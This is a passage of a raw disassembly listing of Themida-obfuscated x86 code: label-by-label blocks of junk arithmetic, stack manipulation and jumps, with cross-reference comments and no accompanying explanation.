loc_59F0A2:				; CODE XREF: Themida_:005A1CC6j
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 64820D05h
		add	ecx, ebx
		jmp	loc_5992F8
; ---------------------------------------------------------------------------


loc_59F0B8:				; CODE XREF: Themida_:0059538Aj
		mov	ecx, [esp]
		jmp	loc_59CC7D
; ---------------------------------------------------------------------------


loc_59F0C0:				; CODE XREF: Themida_:00597B17j
		push	ecx
		mov	ecx, 2
		sub	edx, 518232C8h
		sub	edx, 12526513h
		add	edx, ecx
		add	edx, 12526513h
		push	esi
		jmp	loc_599BB0
; ---------------------------------------------------------------------------


loc_59F0E0:				; CODE XREF: Themida_:0059F16Fj
		idiv	cl
		movzx	cx, ah
		jmp	loc_598705
; ---------------------------------------------------------------------------


loc_59F0EB:				; CODE XREF: Themida_:0059CFFCj
		pop	esp
		mov	[esp], edx
		jmp	loc_59AFEF
; ---------------------------------------------------------------------------


loc_59F0F4:				; CODE XREF: Themida_:00594656j
		add	[esp+4], esi
		jmp	loc_592644
; ---------------------------------------------------------------------------


loc_59F0FD:				; CODE XREF: Themida_:0059AE60j
		mov	edi, esp
		jmp	loc_5951CB
; ---------------------------------------------------------------------------


loc_59F104:				; CODE XREF: Themida_:005A172Dj
		add	ebx, 43BF4B97h
		sub	ebx, 0E646831h
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59AF50
; ---------------------------------------------------------------------------


loc_59F11A:				; CODE XREF: Themida_:0059A680j
		mov	ecx, 2F47B9Fh
		xor	ecx, 235B2220h
		inc	ecx
		sub	ecx, 24A21FE0h
		neg	ecx
		xor	ecx, 913F6679h
		sub	ebp, 674F78F7h
		sub	ebp, 439E37F1h
		jmp	loc_5A4FD0
; ---------------------------------------------------------------------------


loc_59F145:				; CODE XREF: Themida_:00591EFEj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59F14A:				; CODE XREF: Themida_:005998CAj
		and	bp, 50B8h
		xor	bp, 6452h
		mov	di, bp
		jmp	loc_598BC5
; ---------------------------------------------------------------------------


loc_59F15C:				; CODE XREF: Themida_:0059180Ej
		push	edx
		jmp	loc_5A2385
; ---------------------------------------------------------------------------


loc_59F162:				; CODE XREF: Themida_:005A07BFj
		pop	esi
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59F0E0
; ---------------------------------------------------------------------------


loc_59F174:				; CODE XREF: Themida_:0059ABAEj
		pop	ebp
		xor	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A3BE5
; ---------------------------------------------------------------------------


loc_59F180:				; CODE XREF: Themida_:00598A24j
		push	edi
		mov	edi, 5A982F74h
		not	edi
		not	edi
		not	edi
		xor	edi, 0C347C2BEh
		mov	edx, edi
		pop	edi
		xchg	ebx, edx
		jmp	loc_59AD5C
; ---------------------------------------------------------------------------


loc_59F19C:				; CODE XREF: Themida_:0059FC5Dj
		push	119Ah
		push	esp
		jmp	loc_590A31
; ---------------------------------------------------------------------------


loc_59F1A7:				; CODE XREF: Themida_:0059C9F5j
		not	esi
		jmp	loc_59BC0D
; ---------------------------------------------------------------------------


loc_59F1AE:				; CODE XREF: Themida_:005A4DDBj
		push	ecx
		mov	ecx, 9974D6FBh
		sub	edx, ecx
		pop	ecx
		sub	ebx, edx
		pop	edx
		add	ebx, edx
		jmp	loc_59FED5
; ---------------------------------------------------------------------------


loc_59F1C1:				; CODE XREF: Themida_:0059A0E2j
		push	707Fh
		mov	[esp], esi
		mov	esi, 610C48E5h
		mov	ebx, 610C48E1h
		jmp	loc_591F6D
; ---------------------------------------------------------------------------


loc_59F1D8:				; CODE XREF: Themida_:005A318Fj
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 4
		sub	ebx, 0DCC54E0Fh
		mov	ecx, ebx
		pop	ebx
		push	ecx
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_593C6C
; ---------------------------------------------------------------------------


loc_59F1FA:				; CODE XREF: Themida_:005937C3j
		imul	cx, ax
		jmp	loc_595993
; ---------------------------------------------------------------------------


loc_59F203:				; CODE XREF: Themida_:005A14B2j
		pop	edi
		jmp	loc_5A0994
; ---------------------------------------------------------------------------


loc_59F209:				; CODE XREF: Themida_:0059508Dj
		shl	esi, 8
		jmp	loc_597CFB
; ---------------------------------------------------------------------------


loc_59F211:				; CODE XREF: Themida_:00595EDAj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A06E1
; ---------------------------------------------------------------------------


loc_59F22B:				; CODE XREF: Themida_:00598B79j
		add	esp, 4
		sub	eax, esi
		jmp	loc_5A263D
; ---------------------------------------------------------------------------


loc_59F238:				; CODE XREF: Themida_:0059D176j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebp
		jmp	loc_59CF4F
; ---------------------------------------------------------------------------


loc_59F245:				; CODE XREF: Themida_:00599063j
		add	ebx, 8977131h
		pop	ebp
		xor	edx, ebx
		pop	ebx
		push	esi
		push	edx
		mov	edx, 32ED603Eh
		inc	edx
		neg	edx
		shl	edx, 2
		sub	edx, 2AFB2053h
		jmp	loc_599829
; ---------------------------------------------------------------------------


loc_59F267:				; CODE XREF: Themida_:005A1E50j
		add	esi, 23B178BFh
		add	esi, ebx
		sub	esi, 23B178BFh
		jmp	loc_59ACEB
; ---------------------------------------------------------------------------


loc_59F27A:				; CODE XREF: Themida_:005986E1j
		shr	ecx, 8
		shl	ecx, 6
		add	ecx, 0D5D29C04h
		sub	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_595AA1
; ---------------------------------------------------------------------------


loc_59F29F:				; CODE XREF: Themida_:00596108j
		xor	ax, bx
		mov	bx, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 18F37AD1h
		neg	eax
		or	eax, 199F72A0h
		neg	eax
		xor	eax, 493A33F4h
		xor	eax, 3E3C1EC6h
		push	edi
		mov	edi, 17C75DA5h
		and	edi, 3B4D5661h
		jmp	loc_595AD1
; ---------------------------------------------------------------------------


loc_59F2D8:				; CODE XREF: Themida_:0059C21Dj
		mov	[esp], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59F2E1:				; CODE XREF: Themida_:0059B3C3j
		add	ebx, 3C237068h
		sub	ebx, 61D111D0h
		pop	edi
		jmp	loc_592A53
; ---------------------------------------------------------------------------


loc_59F2F3:				; CODE XREF: Themida_:005A4CDAj
		push	ebx
		push	2C380D9Fh
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4C334E16h
		add	eax, 1D0858F9h
		sub	eax, ebx
		sub	eax, 1D0858F9h
		jmp	loc_5A1C84
; ---------------------------------------------------------------------------


loc_59F315:				; CODE XREF: Themida_:005A1EB7j
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_59D8B0
; ---------------------------------------------------------------------------


loc_59F322:				; CODE XREF: Themida_:005A1D1Ej
		mov	eax, 2FA65B0h
		shr	eax, 8
		shl	eax, 3
		inc	eax
		xor	eax, 5FFDD1B6h
		sub	edx, eax
		pop	eax
		sub	edx, 68BED0D4h
		mov	ecx, edx
		pop	edx
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5A2D71
; ---------------------------------------------------------------------------


loc_59F347:				; CODE XREF: Themida_:0059449Cj
		add	eax, 17387764h
		jmp	loc_594B12
; ---------------------------------------------------------------------------


loc_59F351:				; CODE XREF: Themida_:005958B1j
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		jmp	loc_5A4788
; ---------------------------------------------------------------------------


loc_59F365:				; CODE XREF: Themida_:005941AFj
		push	dword ptr [esp]
		jmp	loc_5A08C4
; ---------------------------------------------------------------------------


loc_59F36D:				; CODE XREF: Themida_:00597DB3j
		push	ecx
		mov	ecx, 66A34E9Eh
		and	ebp, ecx
		pop	ecx
		xor	ebp, 0C1839AAh
		shr	ebp, 2
		push	ebp
		add	dword ptr [esp], 0FFFFFFFFh
		pop	ebp
		add	ebp, 0E451313Dh
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A3381
; ---------------------------------------------------------------------------


loc_59F3AA:				; CODE XREF: Themida_:005A0568j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5A08EC
; ---------------------------------------------------------------------------


loc_59F3B7:				; CODE XREF: Themida_:005A3C24j
		pop	ebp
		push	esi
		mov	esi, 19E356C6h
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_5A2CBE
; ---------------------------------------------------------------------------


loc_59F3C8:				; CODE XREF: Themida_:0059DD6Bj
		sub	esp, 4
		jmp	loc_5960AB
; ---------------------------------------------------------------------------


loc_59F3D0:				; CODE XREF: Themida_:0059AE57j
		push	ebx
		jmp	loc_5A37B2
; ---------------------------------------------------------------------------


loc_59F3D6:				; CODE XREF: Themida_:0059B233j
		pop	esi
		sub	esp, 4
		jmp	loc_59352A
; ---------------------------------------------------------------------------


loc_59F3DF:				; CODE XREF: Themida_:0059B5B7j
		neg	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_597D08
; ---------------------------------------------------------------------------


loc_59F3ED:				; CODE XREF: Themida_:0059E295j
		or	edi, 18060FAAh
		jmp	loc_59D9E2
; ---------------------------------------------------------------------------


loc_59F3F8:				; CODE XREF: Themida_:0059D2C5j
		push	esp
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, 2C1B56BEh
		shl	ebp, 7
		jmp	loc_59D74E
; ---------------------------------------------------------------------------


loc_59F409:				; CODE XREF: Themida_:005A1E1Ej
		mov	ebp, 531049FEh
		or	ebp, 5027760Bh
		dec	ebp
		shl	ebp, 7
		jmp	loc_592FC5
; ---------------------------------------------------------------------------


loc_59F41D:				; CODE XREF: Themida_:005A47E1j
		add	bl, 11h
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	6257h
		mov	[esp], ebp
		jmp	loc_5A2C4E
; ---------------------------------------------------------------------------


loc_59F434:				; CODE XREF: Themida_:00599E52j
		add	dword ptr [esp], 302B61B4h
		pop	ebx
		jmp	loc_598462
; ---------------------------------------------------------------------------


loc_59F441:				; CODE XREF: Themida_:0059058Cj
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 2
		jmp	loc_5A38CA
; ---------------------------------------------------------------------------


loc_59F457:				; CODE XREF: Themida_:005A2638j
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ecx
		jmp	loc_59D547
; ---------------------------------------------------------------------------


loc_59F473:				; CODE XREF: Themida_:0059B68Ej
		xchg	esi, [esp]
		jmp	loc_594AB2
; ---------------------------------------------------------------------------


loc_59F47B:				; CODE XREF: Themida_:00599A13j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5988D8
; ---------------------------------------------------------------------------


loc_59F491:				; CODE XREF: Themida_:0059C867j
		std
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1B025D1h
		sub	eax, 43DA5F14h
		push	ecx
		mov	ecx, 329248C2h
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		jmp	loc_5A4BE9
; ---------------------------------------------------------------------------


loc_59F4B8:				; CODE XREF: Themida_:00599CE6j
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_591E02
; ---------------------------------------------------------------------------


loc_59F4C7:				; CODE XREF: Themida_:00591882j
		neg	esi
		xor	esi, 0D74036D1h
		jmp	loc_59396F
; ---------------------------------------------------------------------------


loc_59F4D4:				; CODE XREF: Themida_:005A377Cj
		push	3B0Dh
		mov	[esp], eax
		push	edx
		jmp	loc_5A556F
; ---------------------------------------------------------------------------


loc_59F4E2:				; CODE XREF: Themida_:005967B3j
		mov	bx, dx
		mov	edx, [esp]
		jmp	loc_59597C
; ---------------------------------------------------------------------------


loc_59F4ED:				; CODE XREF: Themida_:005A30AEj
		mov	dl, bl
		pop	ebx
		sub	dl, 0ABh
		jmp	loc_596988
; ---------------------------------------------------------------------------


loc_59F4F8:				; CODE XREF: Themida_:005A1E07j
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, ebp
		jmp	loc_592530
; ---------------------------------------------------------------------------


loc_59F508:				; CODE XREF: Themida_:00593300j
		push	781Fh
		jmp	loc_5A56F0
; ---------------------------------------------------------------------------


loc_59F512:				; CODE XREF: Themida_:00596E2Ej
		add	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		push	esi
		jmp	loc_593BC0
; ---------------------------------------------------------------------------


loc_59F51E:				; CODE XREF: Themida_:005A421Dj
		xchg	edx, [esp]
		jmp	loc_5A45AD
; ---------------------------------------------------------------------------


loc_59F526:				; CODE XREF: Themida_:0059F9CCj
		add	edi, 7DCE575Dh
		mov	esi, edi
		jmp	loc_5A2687
; ---------------------------------------------------------------------------


loc_59F533:				; CODE XREF: Themida_:0059A0F6j
		push	0
		sub	[esp], ah
		mov	ah, [esp]
		add	esp, 4
		and	ah, 58h
		sub	ah, 58h
		mov	cl, ah
		pop	eax
		sub	dl, cl
		pop	cx
		add	al, 8Ah
		sub	al, dl
		jmp	loc_5A3FFE
; ---------------------------------------------------------------------------


loc_59F557:				; CODE XREF: Themida_:005A35B5j
		mov	edi, [esp]
		add	esp, 4
		sub	eax, ecx
		jmp	loc_59D08A
; ---------------------------------------------------------------------------


loc_59F564:				; CODE XREF: Themida_:005949D2j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 1100461Ch
		jmp	loc_598EFF
; ---------------------------------------------------------------------------


loc_59F575:				; CODE XREF: Themida_:005A29B9j
		sub	esi, 724264BEh
		add	esi, 0A63BD980h
		sub	ebx, 418D5194h
		add	ebx, esi
		push	eax
		mov	eax, 418D5194h
		add	ebx, eax
		pop	eax
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_594B9E
; ---------------------------------------------------------------------------


loc_59F5A6:				; CODE XREF: Themida_:0059D875j
		xchg	ecx, [esp]
		jmp	loc_59725B
; ---------------------------------------------------------------------------


loc_59F5AE:				; CODE XREF: Themida_:005A2222j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		xchg	edx, [edi+24h]


loc_59F5C1:				; CODE XREF: Themida_:005A3876j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		jmp	loc_59473D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 375246C2h
		sub	edi, 375246BEh
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_590487
; ---------------------------------------------------------------------------


loc_59F600:				; CODE XREF: Themida_:00590F7Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ecx, 5C247394h
		xor	ecx, 0C1400E49h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_592BE1
		sub	esp, 4
		mov	[esp], ecx
		push	28h
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	5C6Bh
		mov	[esp], eax
		jmp	loc_59D45C
; ---------------------------------------------------------------------------


loc_59F654:				; CODE XREF: Themida_:00594374j
		sub	esi, 11833149h
		add	esi, eax
		add	esi, 11833149h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_595C1B
; ---------------------------------------------------------------------------


loc_59F670:				; CODE XREF: Themida_:005A0721j
		push	esi
		push	edi
		push	413D158Fh
		pop	edi
		jmp	loc_590E1D
; ---------------------------------------------------------------------------


loc_59F67D:				; CODE XREF: Themida_:00595B67j
		mov	ebp, 41FBF05Bh
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	edx, 5
		push	ebx
		mov	ebx, 410E046Bh
		sub	edx, ebx
		pop	ebx
		sub	edx, 7CDE0A4Fh
		add	edx, 5DFD6E86h
		push	esi
		mov	esi, 0A0E97EFDh
		xor	edx, esi
		pop	esi
		and	ebp, edx
		jmp	loc_599CBE
; ---------------------------------------------------------------------------


loc_59F6B2:				; CODE XREF: Themida_:00599169j
		push	eax
		mov	eax, 4CF81671h
		jmp	loc_59B06E
; ---------------------------------------------------------------------------


loc_59F6BD:				; CODE XREF: Themida_:005A5410j
		add	esp, 4
		jmp	loc_5956F0
; ---------------------------------------------------------------------------


loc_59F6C5:				; CODE XREF: Themida_:00596712j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_599875
; ---------------------------------------------------------------------------


loc_59F6D1:				; CODE XREF: Themida_:00598A37j
		mov	edi, 2BEC3676h
		shr	edi, 2
		jmp	loc_59CE08
; ---------------------------------------------------------------------------


loc_59F6DE:				; CODE XREF: Themida_:0059BE0Cj
		sub	esi, ebx
		pop	ebx
		pop	ecx
		neg	esi
		jmp	loc_5908A9
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: Themida_:005A3355j
		add	ebp, ecx
		jmp	loc_59C20A
; ---------------------------------------------------------------------------


loc_59F6F0:				; CODE XREF: Themida_:0059BD92j
		sub	edx, 1
		not	edx
		inc	edx
		push	ecx
		jmp	loc_597A29
; ---------------------------------------------------------------------------


loc_59F6FF:				; CODE XREF: Themida_:005A015Bj
		mov	ebp, 0C5685BFDh
		sub	edx, ebp
		pop	ebp
		push	65F9h
		mov	[esp], edi
		mov	edi, 19EA5B2Fh
		dec	edi
		neg	edi
		not	edi
		and	edi, 0A724E3h
		sub	edi, 580D5FC3h
		xor	edi, 902BEF18h
		add	ebp, edi
		pop	edi
		sub	ebp, 3616186Fh
		sub	ebp, edx
		add	ebp, 3616186Fh
		jmp	loc_59A5F2
; ---------------------------------------------------------------------------


loc_59F741:				; CODE XREF: Themida_:00591822j
		push	edi
		jmp	loc_59A700
; ---------------------------------------------------------------------------


loc_59F747:				; CODE XREF: Themida_:0059B3E2j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		jmp	loc_5A101C
; ---------------------------------------------------------------------------


loc_59F758:				; CODE XREF: Themida_:00591F50j
		neg	edi
		jmp	loc_59BB37
; ---------------------------------------------------------------------------


loc_59F75F:				; CODE XREF: Themida_:005A039Fj
		push	ebp
		jmp	loc_59F975
; ---------------------------------------------------------------------------


loc_59F765:				; CODE XREF: Themida_:0059A342j
		sub	esi, edi
		sub	esi, 6A8D3736h
		jmp	loc_593AF7
; ---------------------------------------------------------------------------


loc_59F772:				; CODE XREF: Themida_:005A49E1j
		push	6E4h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_59BB95
; ---------------------------------------------------------------------------


loc_59F784:				; CODE XREF: Themida_:0059BA11j
		shl	ecx, 5
		push	edi
		mov	edi, 0C71C6E04h
		add	ecx, edi
		pop	edi
		add	eax, 0D240B83h
		add	eax, ecx
		jmp	loc_59599B
; ---------------------------------------------------------------------------


loc_59F79C:				; CODE XREF: Themida_:005A3A60j
		xor	bl, 0B4h
		shl	bl, 3
		push	ecx
		mov	cl, 0
		shl	cl, 8
		or	cl, 68h
		jmp	loc_59FA29
; ---------------------------------------------------------------------------


loc_59F7B0:				; CODE XREF: Themida_:0059DB54j
		mov	ebx, edx
		pop	edx
		or	ebx, 1661527Fh
		shl	ebx, 5
		push	eax
		push	ecx
		push	ebp
		push	2DF45E78h
		jmp	loc_5982F1
; ---------------------------------------------------------------------------


loc_59F7C9:				; CODE XREF: Themida_:0059E711j
		shr	esi, 5
		xor	esi, 1BCE842h
		add	ebx, esi
		jmp	loc_592B44
; ---------------------------------------------------------------------------


loc_59F7D9:				; CODE XREF: Themida_:0059709Fj
		push	esp
		push	dword ptr [esp]
		jmp	loc_5A164D
; ---------------------------------------------------------------------------


loc_59F7E2:				; CODE XREF: Themida_:005960F6j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_593B35
; ---------------------------------------------------------------------------


loc_59F7F0:				; CODE XREF: Themida_:00592310j
		push	3C66h
		mov	[esp], edi
		jmp	loc_5A4C6E
; ---------------------------------------------------------------------------


loc_59F7FD:				; CODE XREF: Themida_:005A5509j
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A1764
; ---------------------------------------------------------------------------


loc_59F818:				; CODE XREF: Themida_:005998BAj
		pop	eax
		add	eax, 4
		push	ebx
		jmp	loc_596E33
; ---------------------------------------------------------------------------


loc_59F824:				; CODE XREF: Themida_:005A0049j
		sub	edi, ecx
		jmp	loc_59BBCD
; ---------------------------------------------------------------------------


loc_59F82B:				; CODE XREF: Themida_:00591BCFj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0
		sub	ebx, esi
		xchg	ebx, esi
		pop	ebx
		shr	esi, 7
		add	esi, 66703085h
		jmp	loc_5A2F8C
; ---------------------------------------------------------------------------


loc_59F84A:				; CODE XREF: Themida_:0059B875j
		pop	ecx
		add	edi, eax
		sub	edi, 5B164135h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59CB5B
; ---------------------------------------------------------------------------


loc_59F85E:				; CODE XREF: Themida_:0059E7F5j
		pop	eax
		add	cl, bh
		pop	ebx
		sub	cl, dl
		jmp	loc_59F09A
; ---------------------------------------------------------------------------


loc_59F869:				; CODE XREF: Themida_:0059B86Ej
		add	dword ptr [esp], 4
		jmp	loc_59B3FC
; ---------------------------------------------------------------------------


loc_59F875:				; CODE XREF: Themida_:00592A1Bj
		mov	ebp, [esp]
		jmp	loc_596782
; ---------------------------------------------------------------------------


loc_59F87D:				; CODE XREF: Themida_:00599C2Fj
		dec	eax
		or	eax, 406C2410h
		sub	eax, 776C6D0Ch
		sub	ebx, eax
		pop	eax
		jmp	loc_5A3834
; ---------------------------------------------------------------------------


loc_59F890:				; CODE XREF: Themida_:00592396j
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 574C30E4h
		not	ebp
		sub	ebp, 3421D5BEh
		add	edi, ebp
		pop	ebp
		add	eax, edi
		jmp	loc_592366
; ---------------------------------------------------------------------------


loc_59F8AB:				; CODE XREF: Themida_:005A378Ej
		xor	edi, 51E4777Ch
		neg	edi
		jmp	loc_5A44F7
; ---------------------------------------------------------------------------


loc_59F8B8:				; CODE XREF: Themida_:0059BDBDj
		push	eax
		mov	eax, 33A13D56h
		jmp	loc_590F70
; ---------------------------------------------------------------------------


loc_59F8C3:				; CODE XREF: Themida_:005A1A67j
		sub	al, dh
		jmp	loc_597B61
; ---------------------------------------------------------------------------


loc_59F8CA:				; CODE XREF: Themida_:005A1FD2j
		not	ecx
		shr	ecx, 2
		dec	ecx
		xor	ecx, 2FE1BFE4h
		jmp	loc_5A515F
; ---------------------------------------------------------------------------


loc_59F8DB:				; CODE XREF: Themida_:00596EECj
		shr	ecx, 2
		not	ecx
		xor	ecx, 0E79BB1D0h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_598306
; ---------------------------------------------------------------------------


loc_59F8FD:				; CODE XREF: Themida_:0059FFD5j
		shl	bh, 2
		sub	esp, 4
		jmp	loc_59E080
; ---------------------------------------------------------------------------


loc_59F908:				; CODE XREF: Themida_:005A4CC9j
		mov	eax, 4A4D3246h
		sub	ebx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 7DC5543h
		add	ebp, ebx
		sub	ebp, 7DC5543h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_596DAF
; ---------------------------------------------------------------------------


loc_59F932:				; CODE XREF: Themida_:005933BFj
		mov	[esp], sp
		push	si
		jmp	loc_5977E8
; ---------------------------------------------------------------------------


loc_59F93D:				; CODE XREF: Themida_:00599202j
		mov	[esp], eax
		mov	eax, 2
		add	ecx, eax
		jmp	loc_5A21BD
; ---------------------------------------------------------------------------


loc_59F94C:				; CODE XREF: Themida_:005A2C7Cj
		pop	edi
		push	0
		jmp	loc_59A30A
; ---------------------------------------------------------------------------


loc_59F957:				; CODE XREF: Themida_:00596A48j
		push	6BA6h
		jmp	loc_5941F6
; ---------------------------------------------------------------------------


loc_59F961:				; CODE XREF: Themida_:005A1862j
		shl	ecx, 2
		push	esi
		jmp	loc_5935A5
; ---------------------------------------------------------------------------


loc_59F96A:				; CODE XREF: Themida_:0059AE22j
		sub	ebx, 73E13732h
		jmp	loc_59477A
; ---------------------------------------------------------------------------


loc_59F975:				; CODE XREF: Themida_:0059F760j
		sub	esp, 4
		mov	[esp], edx
		sub	dword ptr [esp], 76E554DCh
		pop	ebp
		jmp	loc_5A4F61
; ---------------------------------------------------------------------------


loc_59F988:				; CODE XREF: Themida_:0059155Fj
		sub	ecx, esi
		sub	ecx, 44E3D3Bh
		pop	esi
		pop	eax
		sub	ecx, 284A6757h
		sub	ecx, ebp
		add	ecx, 284A6757h
		add	ecx, 5DBD2CD2h
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	edi
		mov	edi, 7FCE2971h
		or	edi, 16311C6Ah
		xor	edi, 2316A22h
		neg	edi
		jmp	loc_59F526
; ---------------------------------------------------------------------------


loc_59F9D1:				; CODE XREF: Themida_:0059816Fj
		add	ebx, edi
		push	dword ptr [ebx]
		add	dword ptr [esp], 55794C94h
		jmp	loc_591CD8
; ---------------------------------------------------------------------------


loc_59F9E1:				; CODE XREF: Themida_:0059467Fj
		sub	ebx, 51BA776Bh
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_591DBD
; ---------------------------------------------------------------------------


loc_59F9F8:				; CODE XREF: Themida_:0059475Fj
		and	ebp, 52B255E3h
		add	ebp, 0FFFFFFFFh
		jmp	loc_5A0A39
; ---------------------------------------------------------------------------


loc_59FA06:				; CODE XREF: Themida_:0059925Aj
		push	dx
		mov	dh, 56h
		sub	al, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_5A367E
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0Ah
		jmp	loc_594460
; ---------------------------------------------------------------------------


loc_59FA20:				; CODE XREF: Themida_:0059490Cj
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_59284F
; ---------------------------------------------------------------------------


loc_59FA29:				; CODE XREF: Themida_:0059F7ABj
		dec	cl
		inc	cl
		xor	cl, 26h
		sub	bl, 75h
		sub	bl, cl
		jmp	loc_59E132
; ---------------------------------------------------------------------------


loc_59FA3A:				; CODE XREF: Themida_:0059C1B4j
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		jmp	loc_59C96A
; ---------------------------------------------------------------------------


loc_59FA46:				; CODE XREF: Themida_:00596FBEj
		push	esi
		push	edi
		mov	edi, 5CB45FC2h
		shl	edi, 6
		and	edi, 191F3775h
		shr	edi, 2
		jmp	loc_59962E
; ---------------------------------------------------------------------------


loc_59FA5E:				; CODE XREF: Themida_:0059B37Aj
		pop	edx
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		sub	esp, 4
		jmp	loc_595FA9
; ---------------------------------------------------------------------------


loc_59FA73:				; CODE XREF: Themida_:005A1B24j
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	ecx
		jmp	loc_59B07B
; ---------------------------------------------------------------------------


loc_59FA83:				; CODE XREF: Themida_:0059CB07j
		push	edx
		mov	edx, 4
		sub	esi, 68FD5FEEh
		add	esi, edx
		add	esi, 68FD5FEEh
		jmp	loc_5A0654
; ---------------------------------------------------------------------------


loc_59FA9C:				; CODE XREF: Themida_:005A05F8j
		mov	[esp], esi
		mov	esi, 174A356Bh
		dec	esi
		or	esi, 4CAA2004h
		xor	esi, 5FEA356Ch
		add	eax, 7B0666BFh
		sub	eax, 5E10150Eh
		add	eax, esi
		add	eax, 5E10150Eh
		sub	eax, 7B0666BFh
		jmp	loc_5A07BC
; ---------------------------------------------------------------------------


loc_59FACC:				; CODE XREF: Themida_:00593E51j
		mov	ebx, 92F497C7h
		sub	ebx, eax
		jmp	loc_59741A
; ---------------------------------------------------------------------------


loc_59FAD8:				; CODE XREF: Themida_:00596FD5j
		add	eax, ebx
		jmp	loc_599BC4
; ---------------------------------------------------------------------------


loc_59FADF:				; CODE XREF: Themida_:0059D352j
		pop	ebp
		not	esi
		add	esi, 0FFFFFFFFh
		push	edx
		mov	edx, 66055EE7h
		shr	edx, 4
		not	edx
		or	edx, 14062CF8h
		xor	edx, 2042CA2Eh
		sub	esi, edx
		pop	edx
		sub	edi, esi
		pop	esi
		add	edi, edx
		add	edi, 6ECD4FEBh
		jmp	loc_5915A3
; ---------------------------------------------------------------------------


loc_59FB12:				; CODE XREF: Themida_:005A26DFj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 35AD5A1Bh
		sub	ebx, ebp
		pop	ebp
		add	ebx, 65FD0CE4h
		inc	ebx
		jmp	loc_59E42A
; ---------------------------------------------------------------------------


loc_59FB2D:				; CODE XREF: Themida_:0059FC0Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
